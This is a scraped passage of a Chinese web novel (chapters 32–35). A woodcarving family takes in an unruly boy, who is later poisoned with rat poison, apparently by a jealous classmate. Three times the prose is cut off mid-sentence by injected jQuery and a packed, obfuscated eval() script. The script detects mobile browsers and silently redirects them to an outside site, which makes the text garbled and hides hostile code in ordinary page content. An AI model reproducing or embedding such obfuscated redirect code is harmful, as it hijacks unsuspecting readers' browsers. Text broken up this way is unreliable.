$(''.inform'').remove(); $(''#content'').append('' 的,马上从楼上下来补上这个人员空缺。 屈朗打着哈欠,显然没睡醒,有些迷迷糊糊的,就看见一小孩跑过来指着他问:“你脸怎么了?” 屈朗捂住脸上的淤青,照实回答:“被人打了。” “6.” 屈朗反应了一会儿,指着刘子麟向琼云问:“这谁家小孩?你亲戚家的?现在的小孩一张嘴就是网络梗,一点都不可爱,我们两个以后有小孩了,绝对不能让他太早接触网络。” 琼云听到后半句满头黑线:“你脑子被打坏了吧?” 刘子麟指了下屈朗,又指了下琼云:“你是她老公啊?” 屈朗顿时发出了欢快的笑声:“这小孩真会说话。” 刘子麟指着屈朗对琼云说:“他笑起来跟个傻屌样的,难怪会看上你。” 屈朗瞬间收回笑容,一招擒拿手将刘子麟无礼指着他的那只手扳到背后与另一只胳膊拧在一起拧成麻花:“我没招你没惹你,你上来就骂我,再这么说话小心我揍你!” 刘子麟痛得面红耳赤,嘴巴仍放不干净:“操你妈,放开老子。” 琼云威胁道:“你爸把你送过来就是为了教育你的,你再这么不听话,他真的可以揍你,他不是我老公,他只是租住在我家里的客人,他打你没有任何负担,你想清楚再决定。” 刘子麟不说话了,狰狞的脸也恢复平静。 这时师庆突然开口:“刘子麟,过来。”他手里拿着一把锯子,单脚踩在一块厚实的木板上,而木板又搭在一张小条凳上。 屈朗把刘子麟放开让他过去,然后跟着琼云过去凑热闹。 搭在条凳上的木板比条凳长一些,朝右边凸出一大截,上面用铅笔画了一圈笔直方正的分割线。 师庆让刘子麟接替他把左脚踩上去,然后将锯子递给他,指着分割线对他说:“沿着铅笔画的这条线,锯下来。” 刘子麟抱怨道:“早就有电锯了,干嘛还用这种手动的锯子,累死。” 琼云说:“手动锯累,但是安全,电锯快,但是危险,可能会把你的手锯下来,你选哪个?” 刘子麟语出惊人:“手锯断了我以后就不能工作了,我爸妈要养我一辈子,学也不用上了。” “那你手断了以后怎么打游戏呢?” 刘子麟沉默了——男子汉顶天立地,头可断,血可流,游戏不能不打。 琼云朝他勾勾手指:“你过来,我跟你扳手腕,你扳得过我,我就给你用电锯。” 刘子麟等开学就要念初一了,并没有比琼云矮多少,他打量了眼琼云纤细的手腕,不屑地嗤笑了一声,扔下锯子,跟着琼云来到工作台前,一人一张凳子,在桌角坐下,一人一只右肘,搭在桌子上,两手相握,互相卡住对方的虎口。 “三、二、一。” 琼云数数,话音刚落,就获得了压倒性的胜利。 但刘子麟很不服气:“再来一次,我来数。” “三、二、一。” “嘭!” 琼云热了身,手臂肌肉充血,比第一次赢得更快。 “你再来一次也是一样的结果。”琼云抬下巴,下指令,“去锯木头。” 刘子麟一脸不高兴地从座位上起来,紧接着屈朗一脸傻乐地坐下去:“我也要扳。” 琼云搭在桌子上的手还没收回,屈朗直接抓住。 琼云条件反射数三二一,依旧轻松获得压倒性胜利,但她觉得屈朗作为一个发育正常的成年男性,力气不应该这么小,于是质问他:“你用力了吗?” 屈朗敷衍地嗯了一声,略微松开琼云的手,用指尖摩挲她带茧的掌心,从五指间的缝隙钻进去,卡到顶,与她十指相扣,另一只手摸向琼云手背那些凸着的漂亮蓝紫色血管。 琼云反应过来他醉翁之意不在酒,立即把手抽回去。 屈朗还很不要脸地请求:“再给我摸会儿。” “老色批。”刘子麟的声音从两人背后幽幽传来。 “现在的小孩一个个说话……”屈朗很老成地嗐了一声,回过头去为自己辩白:“我不老。” 刘子麟指着屈朗对师庆打小报告:“这黄毛在泡你女儿。” 屈朗反驳:“我头发是黑的。” 32.第 32 章 “你怎么还不出门?”琼云的脸有些红。 “下午去,不过今天会晚点回来,有个客人要晚上拍,回来可能半夜三更了,你等会儿把后门钥匙给我。”屈朗说完,笑呵呵地又去抓琼云的手。 琼云起身逃走,却被师庆逮住去角落说悄悄话:“你可是跟他好着了?” “没有。” 师庆紧皱眉头:“老实说。” “真的没有。” 师庆提高音量:“那他是哪样,动手动脚占你便宜?” 屈朗听得一清二楚,却不感到丝毫尴尬,只是睁大眼睛看着琼云,还双手交叉托着下巴,一副看戏的模样。 琼云倒是尴尬得要命,拽着师庆的胳膊恨不得一起钻进墙里去,她压低嗓音忸怩地说:“没得事,这件事你就莫管喽。” 师庆见她这个态度,就知道八九不离十了,于是叮嘱道:“这小伙子心肠倒是不坏呢,你要跟他好,我没得意见,但是莫让他欺负着你。” 琼云狂点头,把师庆往刘子麟那边推:“你莫管喽莫管喽,教徒弟去。”随后从抽屉里拿了后门钥匙塞给屈朗,就坐到工作台前去开启今日份刨木屑的工作。 屈朗搬个小凳坐到她旁边,沉默地骚扰她,用手指尖微不可察的力气,一会儿玩玩她的头发,一会儿揪揪她衣服上的线头,像猴子给猴子抓跳蚤一样。 琼云被他搞得心烦意乱,转过头去对他说:“做你自己的事情去。” 屈朗把双手握成拳乖巧地放到大腿上,“我不碰你了。” 琼云更加烦躁:“你没有自己的事情要做吗?” 屈朗想了想,说:“我没吃早饭。”他最近几乎天天早出晚归,已经很久没吃到琼云做的饭了,前天的约拍工作突然取消,来不及提前通知琼云,所以也没吃到。 琼云这次也以同样的理由拒绝:“你昨天都没跟我说,自己出去买。” “那午饭呢?” 琼云扭头看了眼刘子麟,说:“午饭有的吃。”反正多做一个人的饭是做,多做两个人的也是做。 屈朗终于走了,出门去给自己买早饭。 师庆给刘子麟安排的任务并不重,一段十多公分宽、三四厘米厚的木板,刘子麟再怎么偷懒,六七分钟也锯下来了,虽然锯得歪歪扭扭。 接下去师庆打算教刘子麟怎么使用工具怎么画线,琼云不同意,说这些入门的东西太枯燥,哄骗刘子麟说兴趣是最好的老师,打开工作室里那台破电脑,问他平时爱看什么动画片玩什么游戏角色,让他找张图片打印下来贴到木头上自己做手办。 琼云认为不值得浪费任何时间和精力在这个魔童身上,扔给他一块废料让他自己玩去就好了。 但魔童比她想象的更魔童,眼睛直勾勾盯着电脑,说:“我要打游戏。” 琼云微笑着说:“这烂电脑连游戏都下载不下来。” 刘子麟退而求其次:“小游戏也行。” 琼云继续微笑着说:“你不建议游戏快玩通关的时候突然卡死,连存档都存不了,你就玩,到时候生气把电脑砸坏,让你爸赔我一台新的。” 刘子麟再次摆出那副丑恶的嘴脸:“这么烂的电脑不扔掉留着过年?” “留着找参考图片啊,快点。”琼云直接在浏览器里搜索“手办”两个字,结果跳出来一整页穿着暴露的大胸美少女,赶紧叉出去。 但根本来不及,刘子麟全看到了,甚至嘲讽道:“急了,你胸没她们大,自卑啊?” 琼云绝望地闭上了双眼,这年头的小孩接触网络早,什么东西没见过?恐怕早就见怪不怪了。 她诚恳地对刘子麟说:“我这是为你好,你太早接触这些东西容易性早熟,小雀雀长不大的,万一你以后去北方念大学,洗澡的时候都是大澡堂,没有隔间,光着身子互相都能看见,我怕你到时候自卑啊。” 刘子麟低头看了眼自己的小雀雀,脸唰的一下子就红了,嘟囔了一句:“你才长不大。” “赶紧选一个,宝可梦看过吗?” “没看过。” “那你们这个年纪的小孩现在都看什么呀?奥特曼总看过吧,我前两天路过小学门口,还看到好多小孩手里拿着奥特曼卡片的盲盒。” 提到这个,刘子麟突然来劲了:“红GP蓝GP紫GP我全都有。” 琼云虽然不懂奥特曼卡片的分类,但从刘子麟炫耀的态度中也能得知他说的一定是很稀有的卡片,在浏览器中输入关键词,发现所谓GP型号的奥特曼卡片上的图案恰好是适合阴阳刻技法的剪纸样式。 琼云让刘子麟挑出一张,打印下来用胶水粘在他刚才锯下来的那块木板上,然后递给他几把雕刻刀,叫他一边玩去。 刘子麟拿木板当扇子扇风,不屑地说:“我雕这个干嘛?现在人家都用机器,比手工快多了,你跟你爸干这行迟早饿死。” 琼云真想揍他,拳头都已经握紧了,但只是面容扭曲了一下,随后强行扯出笑容:“对啊,现在科技发展得这么快,AI也发展得那么快,绝大多数人的工作迟早都会被替代,对站在金字塔顶端的人来说,连利用的价值也会被抹除,但你一定会比我早一步被丢弃,你除了会玩游戏挨你爸教训,说话难听被所有人讨厌以外,你还会什么?你连把这个东西雕刻下来的能力都没有,而机器却可以轻松做到,你现在已经被机器替代了,而我可以做到机器做不到的事情,机器不能在面对木材的天然缺陷时随机应变,它感受不到木材的软硬和韧性,不敢剑走偏锋,它雕刻不出自然的纹理,但是这些事情我可以做到,我爸也可以。” 琼云从刘子麟手里夺回木板,掏出手机点进拨号界面,“不想学你就走,我看见你都烦,打电话叫你爸过来接你。” 刘子麟说了个“操”字,抢回还未成型的赛罗奥特曼,抛下狠话:“这有什么难的,雕不出来我叫你爸爸!” 师庆闻声回头,哎了一声,慈祥地说:“有问题过来问阿公。” 刘子麟:“……”捧着木板和一把雕刻刀一边玩去了。 琼云关掉电脑,也回到自己的工作岗位上去。 屈朗从外面摊位上吃完早饭,嘬着还剩一半的米凉虾回来,继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411694|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续坐到琼云身旁骚扰她,用嘬米凉虾的声音。 琼云听得火大,抢走他的米凉虾,骂道:“你没自己的事情可做吗?” “吵到你了?”屈朗把米凉虾拿回来,搅动吸管把杯子的封口膜搅出个大口子,用手撕开,把剩下个底的米凉虾一口气倒进嘴里咽下去,起身离开座位。 正当琼云以为终于能清净下来的时候,屈朗又回来了,他刚才只是去扔个垃圾。 琼云扭过头去瞪他,正要发火,屈朗突然从裤兜里掏出只银手镯来,打开开口圈住她的右腕,手镯上刻着莲叶的纹理,卡扣处挂着个莲花形状的小铃铛。 他一边给她戴一边问:“那条五色绳你为什么不戴了?你戴着好看。” “扔了。”其实只是放在床头柜的抽屉里。 屈朗扣上卡扣,皱着眉问:“扔河里了吗?” “你不要给我送这些东西。”刚带上,琼云就暴躁地解开卡扣脱下,塞回他手里。 “为什么?你手上戴东西好看。” 琼云将脸撇到一边,掰着手指头,目光闪躲地说:“我不想让我前男友误会。” “我听你放屁。”屈朗上身后仰,乜斜着眼,口唇微张,一脸不耐烦,四肢大咧咧敞着,腿再抖两下就像流氓了。 琼云不服气,扑过去说:“初恋就是不一样的,谁也不能替代,前两天见到他,我觉得我还是很喜欢他啊,我又没同意要跟你在一起,你少在这里自作多情,免得让我初恋看到了误会。” 屈朗的眼珠子往旁边转了转,觉得这话有道理,猛地起身往外就走,掀起一阵风,刮得琼云脸疼。 琼云情不自禁摆动起肩膀,捂住脸把笑声闷进肺里,又夹带尖锐的怪叫顺着鼻息喷打出来。 看喜欢的人为自己吃醋的感觉好爽啊! 但屈朗出去以后很久都没有回来,琼云进厨房做饭的时候给他打了通电话,问他在哪里,喊他回来吃饭,他却说他不回来吃了,下午回来以后也是一句话不跟她说,扛起相机和补光灯就往外走。 琼云才开始反省自己是不是做得太过分了,但转念一想,又觉得屈朗只是顾着自己发脾气,根本没把她放在心上,他要是肯耐心琢磨一下,就知道她又在胡说八道心口不一了,但他又不是不了解她的德行……难道是在故意报复她的反复无常吗? 胡思乱想一通,琼云的心情也变得很糟糕。 唯一值得欣慰的是,刘子麟越来越乖了,嘴里不乱喷脏话,谁也不打扰,一个人窝在角落里,攥着雕刻刀,每刨两刀,吹一口气,专注得像个老师傅。 天黑前,他老子来接他的时候,他还把刻出大概形状的赛罗奥特曼炫耀给他老子看,老子摸着这小子的脑袋咔咔一顿夸,好一幅父慈子孝的画面。 刘子麟说他明天还要来,今天雕的这个太烂了,根本是在亵渎他的偶像。 琼云想给他一拳,把他打飞到M78星云再也不相见。 临别前,刘子麟对琼云挥手拜拜,还叫了声姑妈,琼云黑着的脸令刘子麟误会她不喜欢这个称呼,于是又改口叫姐姐。 33.第 33 章 琼云这一天过得很糟糕,先是比平常提早半个小时做好早饭向屈朗暗示和解,结果被屈朗头也不回地无情拒绝,然后是刘子麟这小子一个人过来捣乱还不够,为了炫耀奥特曼的新玩法,把他的倒霉同学兼好兄弟也一块领了过来。 刘子麟昨天临走的时候说要雕一个立体的奥特曼,他说到做到,把家里珍藏的关节可动赛罗奥特曼拿了过来,放在工作台上拧来拧去,企图给奥特曼摆出一个超级无敌宇宙爆炸酷炫的poss,他一边拧一边和他的倒霉同学闲聊。 琼云嫌他吵,让他去院子里拧,院子里有一张小石桌,他把奥特曼放在小石桌上拧。 隔了一堵墙,聊天的声音小了很多,但这堵墙有门有窗,到底不是密封的,琼云坐在屋子里,还是能听到两个正处于发育阶段的小孩中气十足的聊天内容,于是她知道了刘子麟的那位倒霉同学为什么倒霉,以及脸上的淤青是怎么来的。 情况大概是,这位倒霉同学也是一个奥特曼卡片盲盒的资深玩家,但运气差到极点,从来没有抽到过稀有卡片,于是他偷偷拿了父母的手机注册二手平台账号花一千多块钱在网上跟人购买稀有卡片,结果被父母发现了,下场当然是一顿臭骂外加一顿男女混合双打,父母原本打算把卡片退回去,拿回被孩子偷走的钱,结果卖家不让退,最后一怒之下把卡片给撕了。 倒霉同学很伤心,伤心欲绝,刘子麟却很嘚瑟,因为他的手气很好,经常抽到稀有卡片,甚至可以拿重复的稀有卡片跟别人换到很多钱给游戏角色买新皮肤。 琼云原本以为小孩子买点小卡片玩玩无伤大雅,结果听完一寻思,这不是变相赌博吗?这倒霉孩子继续下去,迟早真要走上这条道路,废了。 刘子麟花了二十多分钟给赛罗奥特曼拧好一个超级无敌宇宙爆炸酷炫的poss,进屋来要琼云帮忙给这个超级无敌宇宙爆炸酷炫的poss拍一组上下左右前后六张照片,传到电脑上打印下来,粘到木板上。 琼云说她手机没电了,让刘子麟自己看着办。 刘子麟说:“手机没电你充啊。” 琼云说:“充电器坏了。” 刘子麟又说:“充电器坏了你买啊。” 琼云又说:“后天到货,你后天再来找我拍。” 刘子麟等不及,于是去找师庆这个好阿公帮忙。 师庆帮忙帮得很严谨,拿黏土给奥特曼固定好位置,接着又是上木板,又是上尺子,又是画线条,给六张照片拍得端端正正,才传到电脑上打印下来,再挑一块饮料瓶高的长方体木材,给六个面的照片分别贴上去,最后慈爱地摸了摸刘子麟刺手的脑袋瓜,叫他好好干。 刘子麟干得很认真很忘情,把倒霉同学晾在一边。 琼云不知道这个倒霉同学要在这里待到什么时候,她不想再添一双筷子,于是把刘子麟单独叫到厨房里去。 “今天吃什么?”刘子麟一进厨房就两眼放光地开始扒拉塑料袋里的菜,还打开了架在煤气灶上的蒸锅,“有点心吗?”可惜蒸锅里什么都没有,他失望地盖回盖子。 刘子麟变得这么乖巧的原因,除了雄性生物与生俱来对成王败寇法则的推崇,还有一点,就是琼云做的饭菜很合他的胃口。 厨子是不能亏待的,这是历史上数代死在厨子手上的皇帝用血淋淋的教训传授给他的宝贵经验。 饿死鬼投胎,琼云心中暗骂一句,很快切入正题:“你那个同学要在这里待到什么时候?别告诉我整天都要跟着你,我不会留他在这里吃午饭的,身上带钱没有?你自觉点带他出去吃。” 刘子麟马上急了:“为什么?就多双筷子嘛,我不要出去吃。” 琼云抄手抱胸,表情很不耐烦:“你又没有提前通知我,临时多加一个人,饭菜根本就不够吃,你平时自己不下厨不懂,你爸妈还没教过你吗?你妈把饭菜做好等着你回家吃饭,你一回家说你要点外卖,你看你妈不打死你?自己跟你同学说去,要么你们两个一起出去吃,要么你让他趁早回家,自己选。” 刘子麟沉思了一会儿,然后一脸不高兴地回去了。 琼云在厨房里待了几分钟,顺便洗了个菜,留点时间让刘子麟跟他的倒霉同学商量,然后才回去,免得尴尬。 琼云回去以后,余光发现刘子麟的倒霉同学偷偷瞥了她好几眼。 几分钟后,倒霉同学和刘子麟悄咪咪叽里咕噜了一会儿,刘子麟突然大声发问:“姐姐,有没有饮料喝?” 琼云撒谎撒得斩钉截铁:“没有。” “酸角汁要不要?”师庆这个坑闺女的家伙又开始坑闺女了。 琼云一个眼刀甩过去:“喝完啦。”她心里憋着气,还补充了一句:“都被那个不要脸的姓屈的喝完啦。” 此刻远在天边的屈某人突然打了个喷嚏,聚焦的画面都被打模糊了,事实上算上他喝醉那晚琼云主动塞到他嘴里的那罐,他统共也就喝掉两罐。 “是吗?”师庆努力回想,他也记不清这些小事。 没有现成的,于是刘子麟和倒霉同学又悄咪咪叽里咕噜了一会儿,片刻后,倒霉同学说:“我去买。” 刘子麟昨天表现得还不错,他老子奖励给他一些零花钱,于是此刻能从兜里掏出一张十块钱的钞票甩给倒霉同学,吩咐道:“朕派你去给朕买一瓶芒果汁回来。” 倒霉同学很配合地做了个遵命的手势:“臣遵旨。”然后就跑出去了。 十来分钟后回来,很狗腿地帮汉六帝撬开瓶盖递过去,汉六帝喝了一口,咂砸嘴,评价道:“不错不错,朕奖励你用朕的龙气帮你买一包奥特曼。” “谢陛下。” …… 倒霉同学最终很识相地在琼云进厨房做午饭前就回家去了。 琼云今天和昨天一样做了一荤三素一汤,端上桌子,还没等喊开饭,刘子麟闻着香味就像开栏的猪一样跑过来给自己盛了满满一大碗米饭,嘴里喊着饿死了饿死了。 你最好真的饿死,琼云恶毒地想。 刘子麟在吃饭这件事情上是个比昨天更没有礼貌的家伙,人还没到齐,他就把筷子戳进了菜盘子里。 琼云伸手打了一下他的筷子:“让你动了吗?昨天喊你吃饭还不情不愿。” 刘子麟把筷子塞进嘴里嘬了嘬,先尝尝鲜,“我昨天还不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422976|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你做饭这么好吃。” 琼云白他一眼。 师庆走过来轻轻拍了怕刘子麟的脖子:“饿坏了,你先吃吧,没事。” 有人撑腰,刘子麟就大胆夹了一大把菜铺在米饭上,一半菜一半饭一起划进嘴巴里,两面瘦削的腮帮子立即鼓成被蜜蜂蜇了的狗。 他嚼了嚼,表情越嚼越迷惑,咽下嘴里一半饭菜,给牙齿和舌头腾出一些空间来发音,含糊不清地说:“怎么感觉没昨天好吃?” 琼云瞪他:“那你别吃,吐出来。” 刘子麟看着琼云,用继续咀嚼和下咽的行动拒绝琼云的提议,虽说没昨天好吃,但也算不上难吃,他把嘴里的饭菜全部咽下去,接下去一句话也不说,接着夹菜吃饭。 隔天,琼云她表哥再次把刘子麟载过来的时候,跟琼云打趣说:“小妹,你整呢饭菜太好吃喽,这憨包嘴都养刁,他阿妈做的饭菜他都吃不惯,昨晚上还吐喽。” 琼云听得眼皮抽搐,有这么夸张吗? 她看了眼刘子麟,刘子麟顶着俩黑眼圈,脸色发青,看起来远没有前两天精神,估计是昨晚熬了个大夜,没睡醒。 表哥接下去没寒暄几句,就把刘子麟扔下,去上班了。 刘子麟继续雕他有着超级无敌宇宙爆炸酷炫poss的赛罗奥特曼,和昨天一样忘情,没了他那位倒霉同学,忘情的同时还超级安静。 安静得琼云差点忘记了工作室里有这个魔童的存在,直到一阵刺耳的爆裂声砸向地面。 刘子麟昨天喝的芒果汁是玻璃瓶装的,喝完以后就放在桌子上,刺耳的爆裂声就来自这个玻璃瓶。 琼云看着地上那摊碎玻璃,很后悔昨天没有及时收拾掉,工作台上每天都乱糟糟的,放着很多东西,哪里会留意。 玻璃瓶是被刘子麟打碎的,但他好像没发觉似的,趴在桌子上装死。 琼云从楼梯底下拿了扫帚和畚斗走到他跟前,搡了他一把:“你打碎的,你来收拾。” 刘子麟没有要起来的意思,连眼睛都睁不全,嘟囔了一句:“好累。” “你昨天晚上又偷偷去网吧打游戏了?” “没有。” “起来,把玻璃扫掉,快点。”琼云把扫帚柄塞进刘子麟手里。 刘子麟抓住扫帚柄,疲惫地撑起身体,柔弱得跟林妹妹似的,把那些碎玻璃当落花一样对待,轻轻地扫动,但碎玻璃可比花瓣重多了,他扫得磕磕绊绊,琼云看不过眼,夺过扫帚替他收拾掉。 刘子麟今天精神不振,连带着食欲也不振,吃午饭的时候,说琼云今天做的饭菜没有昨天的好吃,吃完饭回到工作台前,摸了会儿小有成形的赛罗奥特曼,突然哇的一声把午饭全吐了出来。 琼云洗完碗筷回来看见那滩泛着酸臭气味的呕吐物,差点也把午饭给呕出来。 师庆是第一个发现刘子麟呕吐的人,拿垃圾桶接已经来不及,他只能拍着刘子麟的背让他吐个干净,等吐得差不多了,连抽好几张纸巾堆积成一团摁到刘子麟脸上。 等刘子麟抬起头来的时候,师庆突然惊叫了一声,他看到了血,从刘子麟鼻孔里流出来的血。 34.第 34 章 琼云听到师庆的惊呼声,强忍着对那滩呕吐物的嫌弃靠近刘子麟,于是她也看到了刘子麟鼻孔里流出来的血。 她想,难道是食物中毒吗?今天的菌子没炒熟?但那盘菌子所有人都吃了,如果是没炒熟的原因,理应所有人都会感到不适,即便是因为小孩子体质特殊,对中毒更敏感,反应更快,这又怎么解释他流鼻血这件事呢?没听说过谁吃菌子中毒或食物中毒会流鼻血的呀。 但刘子麟终究是在她家里出的事,就一定要对他负责任,弄不好和表哥一家的关系都得搞崩。 琼云感到很烦躁,因为屈朗两天没理她,本来心情就不好,现在又摊上这种事,真是操蛋。 刘子麟鼻孔里的血流个不停,师庆抽了两张新的纸巾,拧成棍状,塞进他的鼻孔里。 琼云用畚斗从切割机房铲了一堆木屑过来,准备铺到呕吐物上,可还没等铺上去,却发现呕吐物中也有血,线状的血丝。 琼云觉得有点不妙,她得带刘子麟去看医生。不能把奶奶一个人留在家里,而屈朗又不在家,所以她一个人带刘子麟去。 但愿只是吐狠了损伤黏膜造成的出血。 如果单纯是因为紧张造成的误判,没必要惊动刘子麟的父母,所以琼云先带刘子麟去了卫生所,一边和刘子麟交流做再次确认一边把他此前吃了什么碰了什么,还有什么明显症状告诉大夫。 大夫给刘子麟做了一些简单的检查,举着小手电,看了口腔,翻了眼皮,把鼻孔里的纸巾棍抽出来检查血迹和鼻腔,又测了心率和血压,然后皱着眉头沉思了一会儿,说:“像老鼠药中毒啊,去医院抽血。” “老鼠药?我家里没有老鼠药。”琼云惊愕,家里闹老鼠从来都是用粘鼠板的。 大夫说:“应该是抗凝血,现在市面上的老鼠药基本上是这种,有潜伏期,不一定是在家里吃进去的。” “潜伏期多久?”琼云急着撇清关系,“所以说明不是今天吃进去的,他前天才来我家。” 大夫答:“一两天,两三天,一个星期都有可能。”看了琼云,看了眼刘子麟,又说:“他不是你弟弟?我说怎么长得不像。” 琼云掏出手机,一边翻找表哥的微信号,一边责问刘子麟:“你是不是在外面买什么不干不净的东西吃了?” 刘子麟疲惫地说:“我哪有那么多钱,买皮肤都不够。” “你昨天还给你同学十块钱让他去买饮料……”琼云找到了刘子麟他老子的微信号,却因为突然想起一些事情来,悬在屏幕上方的大拇指迟迟没有摁下去——那瓶芒果汁。 “那瓶芒果汁是你同学帮你开的盖子是不是?”琼云激动地抓住刘子麟的臂弯。 刘子麟转动眼珠回忆了一下,“嗯”了一声。 “那就说明盖子很可能提前被打开了,他只是假装在你面前打开盖子。” “怎么了?”刘子麟被老鼠药毒得脑子都转不灵了。 琼云冷笑了一声,“他可真是你的好兄弟啊。” 他运气差,抽不到奥特曼的稀有卡片,而刘子麟运气好,常常抽到稀有卡片,还总在他面前炫耀,作案动机就是这个。 琼云给表哥打了微信电话,没打通,跟师庆要了表哥的电话号码,才打通,说清楚情况,表哥说一时半会儿抽不开身,让刘子麟外婆先过来,直接上市人民医院会合。 去医院前,琼云领刘子麟回了趟家,从垃圾桶里捡了芒果汁饮料的玻璃碎片装进密封袋,她捡的是较为厚实没有四分五裂的饮料瓶底部碎片,里面残留的芒果汁也是最多的,如果这瓶芒果汁里真的混入了老鼠药,那么一定可以检测出来。 琼云现在十分庆幸自己昨天没有把这个饮料瓶收拾掉,否则她今天都不知道要上哪里去找。 随后她又强忍着恶心用废木片铲了一些刘子麟的呕吐物装进另一个密封袋,如果呕吐物中检测不出有毒物质,则可以证明她的清白。 她把密封好的玻璃碎片和呕吐物装进一个塑料袋里,一起带去医院。 刘子麟外婆不到七十岁,身子骨还很硬朗,她比琼云和刘子麟先到,站在医院急诊中心门口等,一见到她的乖孙,就连忙小步跑过来把乖孙捧进怀里,狠狠瞪了琼云一眼,才带刘子麟往大楼里去。 琼云有这个心理准备,没当回事,跟着他们进去,把残留芒果汁的玻璃碎片和刘子麟的呕吐物一起交给医生。 从检查到出化验结果需要很长一段时间,期间刘子麟的父母都请假赶了过来,刘子麟外婆跟女儿女婿小声说了些什么,他们都用怀疑的眼神看琼云。 琼云转过身避开他们的视线,打了一拳空气。 化验结果显示刘子麟确实是抗凝血类毒鼠药中毒,即刻办理住院。 在病房里,琼云开口跟他们说了关于昨天那瓶芒果汁的事件细节和她的怀疑。 刘子麟外婆最先朝琼云发难:“我又没说是你整呢,你就急着把事情赖给一个小娃娃,你心慌哪样?” 琼云同样也做好了这个心理准备,语气不慌不忙:“我这种怀疑肯定是有原因呢,他那个同学买奥特曼卡片盲盒抽不着好东西,拿他爹妈一千多块钱在网上跟人买,挨他爹妈打个半死,卡都撕掉了,刘子麟运气好,抽着一堆好东西,还在他面前显摆,他能不眼红吗?” 刘子麟外婆反驳道:“一个小娃娃,咋个可能整出这种事情来嘛?” 琼云继续道:“莫把娃娃想得太简单,当憨包,再说嘛,我家压根就不兴用老鼠药,等那个饮料化验了,就清楚了,你莫在这点瞎栽赃人,我要走喽。” 琼云刚要迈步往外走,刘子麟外婆扑过来叫住她:“我外孙是在你家整出事情呢,你还想去哪点?把医药钱给我报喽!” 琼云愤怒得目眦欲裂,指着老太婆的鼻子骂道:“饮料化验结果要是有毒,你可是要给我道歉?你脑子想好再开口,我没得闲工夫在这点听你鬼扯!” 骂得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426217|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有气势,下一秒却心虚似的拔腿就跑,她不想跟老太太起任何肢体冲突,这一推一搡的要是摔地上了,恐怕还要讹她一大笔医药费。 琼云回到家,和师庆说情况,越说越气,最后大逆不道地把师庆也骂了一顿。 要不是他当初犯蠢收下刘子麟这个魔童,哪有今天的事情! 师庆自觉理亏,对琼云说:“时候不早了,你去洗个澡早点歇着,我等下挨饭热一下端上去给你。” “我没得胃口,不想整!”琼云气呼呼跑上楼,解开头发,在浴室里足足洗了大半个小时的澡,皮都险些搓掉下来一层,洗完了回到房间,就蒙头盖脸把自己裹进被子里,期间师庆把晚饭端上来敲门,她说她不想吃,于是师庆又把晚饭端走。 在被子里闷了一段时间,琼云把脑袋探出来,开始刷手机,刷来刷去又觉得没意思,于是放下手机,望着天花板发呆。 不知道过了多久,她听到北面的楼梯有走动声,这个走动声显然不是屈朗发出的,她听得出来,但她还是起床打开窗户看了,果然不是,是别的租客,于是她又躺回去继续发呆。 屈朗是晚上八点半的时候回来的,他平常都差不多这个点回来,琼云一听见他发出的脚步声,就起床推开窗户去看,果然是,她的耳力一点不差。 “刘子麟中毒住院了。”她用这个话题开头。 屈朗立即回头,诧异地发出“啊”的一声,“他怎么会中毒?” 琼云咬牙切齿,不满他关心一个性格糟糕还骂过他的臭小孩远胜过关心她。 “我出来跟你说,免得蚊子跑进来。”琼云关上窗户,从房间里出来。 屈朗背着沉重的相机包和补光灯一直站在原地等她。 琼云把刘子麟中了什么毒,谁给他下的毒跟屈朗说了。 屈朗惊讶得目瞪口呆:“他朋友怎么会给他下毒?” 琼云又开始咬牙切齿,“你也觉得我是胡乱猜测?” 屈朗摇头,“没有啊,我只是觉得很不可思议,竟然会对自己的朋友做出这种事。” “刘子麟外婆觉得是我干的,他们一家人都这么觉得,还说我故意栽赃……”琼云说着说着眼眶逐渐湿润起来,她也不知道自己为什么突然这么矫情。 “你不是说有剩下的饮料拿去化验吗?结果出来他们就会知道了。” “没那么快啊,要明天。”琼云揩了一下眼角,肚子突然咕噜噜叫了一声。 “你没吃晚饭吗?”屈朗瞥了眼她的肚子。 “没有,不想吃。” “你肚子都叫了。” 琼云用泛红的眼睛直勾勾看着他。 屈朗觉得自己得有所表示,眼珠子往旁边扫了一下,说:“我不会做饭,你想吃什么,我现在出去买。” 琼云把双手背到身后,手指勾在一起,“我要吃麻辣拌。” 屈朗点了点头,表示接单,回房间卸下相机和补光灯,出门去买。 35.第 35 章 距离琼云家直线距离不足一公里处就有一家麻辣拌店,屈朗骑自行车过去,到了店里,给冰柜里的食材拍了两张照片发给琼云,琼云给想吃的食材画上红色勾勾,发回给他,接着又发过去三个红辣椒。 【辣度?】 【对】 【饮料要吗?】 【不要】 琼云想了想,脸上突然浮现出邪恶的笑容,又补充了一句【家里有青梅酒】 